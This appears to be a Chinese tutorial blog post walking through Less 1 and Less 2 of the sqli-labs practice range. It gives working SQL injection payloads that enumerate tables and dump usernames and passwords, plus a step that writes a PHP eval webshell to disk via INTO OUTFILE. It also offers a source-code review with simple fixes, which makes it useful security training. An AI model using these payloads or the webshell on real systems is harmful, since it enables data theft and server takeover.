SQLi靶场
SQLi靶场 less1- less2 (详细讲解)
less 1 Error Based-String (字符类型注入)
思路分析
判断是否存在SQL注入
已知参数名为id
,输入数值
和‘
单引号‘’
双引号来判断,它是数值类型还是字符类型
首先输入 1
,
发现能能正常显示,使用四则运算进一步测试。
输入?id=4-3 发现内容有变化,判断不是数值类型SQL,继续测试字符型输入单引号‘
‘
在经过URL编码后显示为%27
,发现页面出现报错信息。初步判断可能是字符型SQL语句输入两个’
单引号查看是否能闭合语句.
页面有明显变化,报错信息消失,返回空信息,判断为字符型SQL注入,构造字符类型永真语句,继续测试。
?id=' or 1=1 --+
%27 为 单引号 URL编码, %20 为 空格 URL编码
输入字符永真POC后,回显一条数据,但是并没有爆出该字段所有信息,后端应该对此做了限制。
注入攻击
知识回顾
先了解攻击需要使用的一些函数以及mysql系统表:
order by
:在SQL语法中,用于排序,SQL注入攻击中可以用于爆破字段数量
union
在SQL语法中,用于联合查询,SQL注入攻击中可用于爆破特殊信息
database()
用于返回当前正在使用的数据库的名称。
version()
用于返回当前MySQL服务器的版本号。
concat()
用于将多个字符串连接在一起。
group_concat()
将多个列连在一起
information_schema
该表为mysql的系统默认表,其中包含了关于MySQL服务器和数据库的元数据信息。这个数据库不存储用户数据,而是存储关于数据库架构、表、列、索引等信息的数据。
information_schema.tables
:这个表存储了有关所有数据库中的表的信息,包括表名、数据库名、表的类型(如表、视图等)、表的引擎(如InnoDB、MyISAM等)、创建时间、更新时间等。information_schema.columns
:这个表包含了有关所有表中列(字段)的信息,包括列名、列的数据类型、是否为主键、是否允许 NULL 值等。information_schema.schemata
:这个表列出了所有数据库的信息,包括数据库名、默认字符集、默认排序规则等。information_schema.routines
:这个表包含有关存储过程和函数的信息,包括它们的名称、类型、定义等。information_schema.views
:这个表包含有关视图(虚拟表)的信息,包括视图名、所属数据库等。information_schema.key_column_usage
:这个表包含了关于表的外键的信息,包括外键名、所属表、所引用的表等。information_schema.table_constraints
:这个表包含了有关表的约束(如主键、唯一约束等)的信息。
使用order by
爆破 SELECT语句中的字段数量
?id= ' order by 4 --+ //poc
报错字段数量,将数值继续向小的改
数值 改成 3,发现页面变化,并没有报错,回显一个空表单,这是因为,前段查询语句是查了一个空语句,所以返回空表,查询语句如下
SELECT * FROM tables_name WHERE id='' order by 3
使用union
获取用户数据、当前数据库名、版本信息
以知 原始查询语句的字段数为3,使用union
来构造一个POC判断我们获取的字符数是否正确。
?id=' union SELECT 1,2,3 --+
从中发现,回显正确,并显示我们查询了的内容,但是第一个字段好像被隐藏了,第二个、第三个字段都成功回显。
进一步爆破出用户名、当前数据库名。构造POC:
?id=' union SELECT 1,user(),database() --+
爆破成功,这里有一点需要注意,在闭合第一个引号的时候,内部一定不要使用真值(能真实查询到的数据),因为这里系统会把默认查询到的第一行数据,优先显示到页面,在后面的源码分析中,在仔细研究其中原理。例如下面这个例子:
我把闭合的单引号,放入了真值,直接回显了这个真值查询的数据。
爆破数据库表和列名
使用mysql的系统表information_schema
来波破改数据库中已存的表名和列名。
?id=' UNION select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
这个POC ,主要是从 information_schema.tables
表中选择了 security
数据库中的表名,并使用 GROUP_CONCAT
将它们连接成一个字符串。
然而我们可以继续对这个POC进行改造,
?id='union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
这个POC,就获取了information_schema.colunms
中所有的table_name
为users的所有字段
根据这个POC返回的信息,在进一步的构造POC,就能拿到敏感数据,
?id=' UNION SELECT 1,group_concat(username,ID,password),3 from users--+
这样就已经完成了一次成功的SQL注入,并获取了敏感信息。
思路总结
在学习SQL注入时,要对SQL的语法有大致上的了解,并且越熟练越好,在进行注入前要仔细分析,它使用的什么类型的SQL语句,以便对症下药,确定类型后,如果是查询类的注入,还要去分析出源语句中,使用了几个字段,当掌握这些信息后,就开始考虑如何闭合语句。基本流程如下:
- 判断SQL语句类型
- 构造永真POC判断是否存在SQL注入
- 爆破源语句字段数量
- 爆破成功后即可进行攻击
源码分析
<?php
include("../sql-connections/sql-connect.php");
//包含上级目录的用于数据链接的php代码
error_reporting(0);
//这行代码关闭了PHP错误报告,这意味着即使代码中有错误,也不会在网页上显示错误消息。if(isset($_GET['id']))
// 判断是否获取到GET的参数,接收到参数执行以下语句,未接收到执行报错
{
$id=$_GET['id'];
//将GET传递的参数赋值给$id
$fp=fopen('result.txt','a');
//打开一个文件result.txt以用于记录。 'a' 参数表示以追加模式打开文件,如果文件不存在,将创建一个新文件。
fwrite($fp,'ID:'.$id."\n");
// 向$fp文件内写入数据,ID 和$id的字符串拼接
fclose($fp);
// 释放文件资源$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//创建一个字符串变量,存储一条SQL查询语句,并把 $id 作为参数传入到语句的WHERE参数中
$result=mysql_query($sql);
//使用 $result 来接收 mysql_query($sql)函数查询的结果
$row = mysql_fetch_array($result);
// $row是一个数组变量,它使用mysql_fetch_array()来取出SQL查询结果的每一行数据if($row)//判断$row 中是否有数据,有数据则执行以下语句,没数据则执行sql报错信息{echo "<font size='5' color= '#99FF00'>";//CSS样式echo 'Your Login name:'. $row['username'];//$row数组中的 username 值echo "<br>";//换行echo 'Your Password:' .$row['password'];//$row数组中 password 值echo "</font>";// css样式结束标记}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; }
}else { echo "Please input the ID as parameter with numeric value";}?>
分析该源码我发现以下问题:
-
在第7行使用GET方法传入的参数没有任何验证。
-
解决办法 :对用户输出数据进行验证,并转变为需要处理的类型
-
if (isset($_GET['id']) && is_numeric($_GET['id'])) {//判断GET方法传入的参数是否是正确的类型$id = (int)$_GET['id'];// 确定为正确的类型在后端继续对该值再度进行转换操作 } else {echo "请输入一个正确的数值."; }
-
-
在46行,使用了mysql_error() 来回显SQL的报错信息。
-
解决办法:sql的报错信息不能暴露,应该保存在后台,前端的报错应该由管理员自己定义。
-
else {echo "发生错误。请稍后重试。";error_log(mysql_error()); // 记录错误信息到日志文件 }
-
这里是我的才疏学浅,只能加了简单验证,但是这个验证逻辑是越复杂越好,根据实际情况去编写即可。
在之前说的在本关卡中,每次只能显示一行的数据,这是因为mysql_fetch_array()
这个函数, 函数的作用是从结果集中获取一行数据,并将该数据存储在数组中,因此每次调用它都会获取一行数据。这是为了逐行处理查询结果。如果要在前段显示全部内容,就一定要在加上一个循环去打印渲染每一条语句。
less 2 Error based - Intiger based (数值类型注入)
思路分析
判断SQL类型
一、输入数值1
和四则运算判断它是不是数值类型:
输入1
页面由变化,回显id=1的数据。
输入数值四则运算4-3
,查看返回结果,回显结果无变化,由此判断为数值类型SQL语句,
二、使用永真POC,进行判断是否存在SQL注入。
?id=-1 or 1=1
输入语句后,页面没变化,无报错,该字段的值也没有全部爆出,判断大概率使用了mysql_fetch_array()
函数。
OR
逻辑运算符的优先级是最低的,AND
逻辑运算符优先级比OR
高,而NOT
的逻辑运算符的优先级是最高的。在SQL语句中
OR
运算符有一个特性,当第一个条件为真时,第二个条件默认不在执行。这是因为在这种情况下,整个
OR
表达式已经被确定为真,无论第二个条件的值如何,都不会改变整个表达式的结果。这种短路逻辑有助于提高查询性能,因为不必评估多余的条件。
三、使用ORDER BY
判断源语句字段数量
?id=-1 ORDER BY 4 #
ORDER BY
的值是4 报错了,源语句中的字段数量要少于4
当数值是3,因为这是一条正常的语句 所以回显了id=1的数据,这代表这 SQL语句是正确的,源语句的字段数应该就是3个。
?id=1 ORDER BY 3 #
四、使用UNION
确定字段数量
?id=-1 UNION SELECT 1,2,3 --+
在这一步需要将id的值设为假,以便测试,每个字段存在的位置。
确定无问题,准备注入攻击。
注入攻击
一、获取用户名user()、数据库名database()
?id=-1 UNION SELECT 1,user(),database() --+
二、使用Mysqlinformation_schema
库,获取更多信息
获取数据库中的所有表名:
?id=-1 UNION SELECT 1,group_concat(table_name),database() FROM information_schema.tables WHERE table_schema=database() --+
在此处,我们使用database()替代了security
,因为database()返回的值就是它。在SQL语句 函数的执行优先级高于其他语句,而且可以用于动态地获取一些信息。
获取users
中的所有字段名字:
?id=-1 UNION SELECT 1,group_concat(column_name),3 from information_schema.columns WHERE table_name = 'users' --+
从username、password中获取敏感信息
?id=-1 UNION SELECT 1,group_concat(username,id,password),version() from users --+
POC中 group_concat()函数中只用于隔断username和password,使得账号和密码显示的更为清楚。
成功爆破,所有账号密码。
向数据库中注入webshell
?id=-1 UNION SELECT 1,'<?php @eval($POST[cmd]);?>',3 into outfile './web.php' --+
这个注入是有条件的,mysql数据库必须开启secure_file_priv
,否则就会报错。
secure_file_priv
是 MySQL 数据库服务器的配置选项之一,用于指定允许加载文件的安全目录。这个选项的目的是增强 MySQL 服务器的安全性,以限制用户在服务器上加载文件的位置,以防止潜在的安全风险。具体来说,
secure_file_priv
选项定义了一个目录路径,MySQL 服务器只允许用户在这个指定的目录或其子目录下加载文件。这意味着用户不能在不被允许的目录中执行文件加载操作。这有助于防止恶意用户滥用文件加载功能,执行危险的操作或访问敏感文件。修改 my.cnf 文件,在 [mysqld] 块下,如果没有 secure_file_priv 则新增
指定目录:secure_file_priv=/path/to/data
不限目录:secure_file_priv=
禁止操作:secure_file_priv=NULL
测试需求,我们直接添加一个不限制目录的配置继续测试。
开启secure_file_priv
后重启数据库,继续测试
发现页面错误消失了,由于我们并没有查询任何内容,所以返回空表,在测试我们的webshell有没有成功上传!
./代表本级目录,而在这里则表示上传到mysql的本级目录,它不在sqli靶场的目录,又因为跨源的问题,也没有文件包含漏洞,我们不能直接利用
再次为了演示,就直接在注入一个webshell到sqli靶场目录中 进行测试。
?id=-1 UNION SELECT 1,'<?php phpinfo();?>',3 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php' --+
这里还要强调以下,在MySQL中,单独以个\
都被会认为是一个转义字符,所以我们要对这个\
在做一次转义 ,在加上一个\
就ok了
在MySQL中,INTO OUTFILE
是用于将查询结果写入文件的操作。它是在SELECT
语句中使用的一种扩展。
这是操作的一般执行顺序:
SELECT
:首先,执行SELECT
语句以获取结果集。INTO OUTFILE
:然后,将结果集中的数据写入指定的文件,使用INTO OUTFILE
子句。这个子句告诉MySQL将查询结果写入到一个文件中,该文件由路径和文件名指定。
SELECT 1,'<?php phpinfo();?>',3 INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php'
这个查询选择了三个值(1、‘<?php phpinfo();?>’、3)并将它们写入了 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php'
这个文件中。
思路总结
在这一关总体思路与第一关基本一致,只不过在本关中使用的是数值内省SQL语句,在闭合语句方面不用考虑引号等关系。
介绍了mysql的一个安全配置项secure_file_priv
,它是用来控制文件加载目的选项,在没有特殊要求的情况下,建议关闭该功能。
源码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; }
}else{ echo "Please input the ID as parameter with numeric value";}?>
本关的源码与第一关基本一致,唯一不同的点就是在 SQL语句中没有给变量$id
引号。思路会院借鉴第一关的思路。
相关文章:

SQLi靶场
SQLi靶场 less1- less2 (详细讲解) less 1 Error Based-String (字符类型注入) 思路分析 判断是否存在SQL注入 已知参数名为id,输入数值和‘ 单引号‘’ 双引号来判断,它是数值类型还是字符类型 首先输入 1 , 发现…...

重庆开放大学学子们的好帮手
作为一名电大学员,我有幸目睹了一个令人惊叹的学习工具的诞生——电大搜题微信公众号。这个创新应用为重庆开放大学(广播电视大学)的学子们提供了便捷、高效的学习资源,成为他们的得力助手。 重庆开放大学是一所为全日制在职人员提…...

机器学习-学习率:从理论到实战,探索学习率的调整策略
目录 一、引言二、学习率基础定义与解释学习率与梯度下降学习率对模型性能的影响 三、学习率调整策略常量学习率时间衰减自适应学习率AdaGradRMSpropAdam 四、学习率的代码实战环境设置数据和模型常量学习率时间衰减Adam优化器 五、学习率的最佳实践学习率范围测试循环学习率&a…...

【Vue3-Flask-BS架构Web应用】实践笔记1-使用一个bat脚本自动化完整部署环境
前言 近年来,Web开发已经成为计算机科学领域中最热门和多产的领域之一。Python和Vue.js是两个备受欢迎的工具,用于构建现代Web应用程序。在本教程中,我们将探索如何使用这两个工具来创建一个完整的Web项目。我们将完成从安装Python和Vue.js到…...

工作小计-GPU硬编以及依赖库 nvcuvidnvidia-encode
工作小计-GPU编码以及依赖库 已经是第三篇关于编解码的记录了。项目中用到GPU编码很久了,因为yuv太大,所以编码显得很重要。这次遇到的问题是环境的搭建问题。需要把开发机上的环境放到docker中,以保证docker中同样可以进行GPU的编码。 1 定…...
前端 JS 经典:宏任务、微任务、事件循环(EventLoop)
1. 前言概览 js 是一门单线程的非阻塞的脚本语言 单线程:只有一个主线程处理所有任务 非阻塞:有异步任务,主线程挂起这个任务,等异步返回结果再根据一定规则执行 2. 宏任务与微任务 都是异步任务宏任务:script 标签&a…...

电子邮件发送接收原理(附 go 语言实现发送邮件)
前言 首先要了解电子邮件的发送接收,不是点到点的。我想给你传达个消息,不是直接我跑到你家里喊你:“嘿,xxx,是你的益达,快拿走”。 而是类似快递的发送收取方式,是有服务器的中转的。我先将我…...

体系结构评估——(三)风险承担者
风险承担者分为系统生产者、系统消费者、系统服务人员和其他四大类。 其中系统生产者有:软件系统架构师、开发人员、维护人员、集成人员、测试人员、标准专家、 性能工程师、安全专家、项目经理、产品线经理。 系统消费者有:客户、最终用户、应用开发…...

【HarmonyOS】元服务卡片展示动态数据,并定点更新卡片数据
【关键字】 元服务卡片、卡片展示动态数据、更新卡片数据 【写在前面】 本篇文章主要介绍开发元服务卡片时,如何实现卡片中动态显示数据功能,并实现定时数据刷新。本篇文章通过实现定时刷新卡片中日期数据为例,讲述展示动态数据与更新数据功…...
SaveFileDialog.OverwritePrompt
SaveFileDialog.OverwritePrompt 获取或设置一个值,该值指示如果用户指定的文件名已存在,Save As 对话框是否显示警告。 public bool OverwritePrompt { get; set; } OverwritePrompt 控制在将要在改写现在文件时是否提示用户 https://vimsky.com/…...
oracle统计信息
1. 查看表的统计信息 1.建表 SQL> create table test as select * from dba_objects;2.查看表的统计信息 select owner, table_name, num_rows, blocks, avg_row_lenfrom dba_tableswhere owner SCOTTand table_name TEST; OWNER TABLE_NAME NUM_ROWS BLO…...
LeetCode 面试题 16.01. 交换数字
文章目录 一、题目二、C# 题解 一、题目 编写一个函数,不用临时变量,直接交换 numbers [a, b] 中 a 与 b 的值。 示例: 输入: numbers [1,2] 输出: [2,1] 提示: numbers.length 2-2147483647 < numbers[i] < 214748364…...

手机apn介绍
公司遇到一件很棘手的事情,app发版之后,长江以北地方的用户网络信号很好,但是打开app之后网络连接不上,而长江以南的用户网络却很好。大家找了很多资料,提出一些方案: 1、是不是运营商把我们公司的ip给限制…...

垃圾回收系统小程序
在当今社会,废品回收不仅有利于环境保护,也有利于资源的再利用。随着互联网技术的发展,个人废品回收也可以通过小程序来实现。本文将介绍如何使用乔拓云网制作个人废品回收小程序。 1. 找一个合适的第三方制作平台/工具,比如乔拓云…...

【随机过程】布朗运动
这里写目录标题 Brownian motion Brownian motion The brownian motion 1D and brownian motion 2D functions, written with the cumsum command and without for loops, are used to generate a one-dimensional and two-dimensional Brownian motion, respectively. 使用cu…...

基于机器视觉的车道线检测 计算机竞赛
文章目录 1 前言2 先上成果3 车道线4 问题抽象(建立模型)5 帧掩码(Frame Mask)6 车道检测的图像预处理7 图像阈值化8 霍夫线变换9 实现车道检测9.1 帧掩码创建9.2 图像预处理9.2.1 图像阈值化9.2.2 霍夫线变换 最后 1 前言 🔥 优质竞赛项目系列,今天要分…...
C语言文件读写,文件相关操作
文章目录 C语言文件读写,文件相关操作1.C语言万物皆是地址,文件读操作2.文件的写3.文件的复制4.获取文件的大小5.文件的加密解密 C语言文件读写,文件相关操作 1.C语言万物皆是地址,文件读操作 // // Created by MagicBook on 20…...

竞赛选题 深度学习卷积神经网络的花卉识别
文章目录 0 前言1 项目背景2 花卉识别的基本原理3 算法实现3.1 预处理3.2 特征提取和选择3.3 分类器设计和决策3.4 卷积神经网络基本原理 4 算法实现4.1 花卉图像数据4.2 模块组成 5 项目执行结果6 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 基…...
CMake教程 - basic point
CMake教程 - basic point 1 - Building a Basic Project 最基本的CMake项目是由单个源代码文件构建的可执行文件。对于像这样简单的项目,只需要一个带有三个命令的CMakeLists.txt文件。 注意:尽管CMake支持大写、小写和混合大小写命令,但小…...

day52--动态规划11
想死,但感觉死的另有其人,,怎么还在动态规划!!!!! 123.买卖股票的最佳时机III 188.买卖股票的最佳时机IV 第一题:买卖股票的最佳时机III 给定一个数组,它…...

Chapter03-Authentication vulnerabilities
文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...
线程与协程
1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指:像函数调用/返回一样轻量地完成任务切换。 举例说明: 当你在程序中写一个函数调用: funcA() 然后 funcA 执行完后返回&…...

iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版分享
平时用 iPhone 的时候,难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵,或者买了二手 iPhone 却被原来的 iCloud 账号锁住,这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...

视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...

2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...

pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)
目录 一、SQL注入 二、insert注入 三、报错型注入 四、updatexml函数 五、源码审计 六、insert渗透实战 1、渗透准备 2、获取数据库名database 3、获取表名table 4、获取列名column 5、获取字段 本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关࿰…...
Pinocchio 库详解及其在足式机器人上的应用
Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库,专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性,并提供了一个通用的框架&…...

6.9-QT模拟计算器
源码: 头文件: widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QMouseEvent>QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass Widget : public QWidget {Q_OBJECTpublic:Widget(QWidget *parent nullptr);…...

数据结构:泰勒展开式:霍纳法则(Horner‘s Rule)
目录 🔍 若用递归计算每一项,会发生什么? Horners Rule(霍纳法则) 第一步:我们从最原始的泰勒公式出发 第二步:从形式上重新观察展开式 🌟 第三步:引出霍纳法则&…...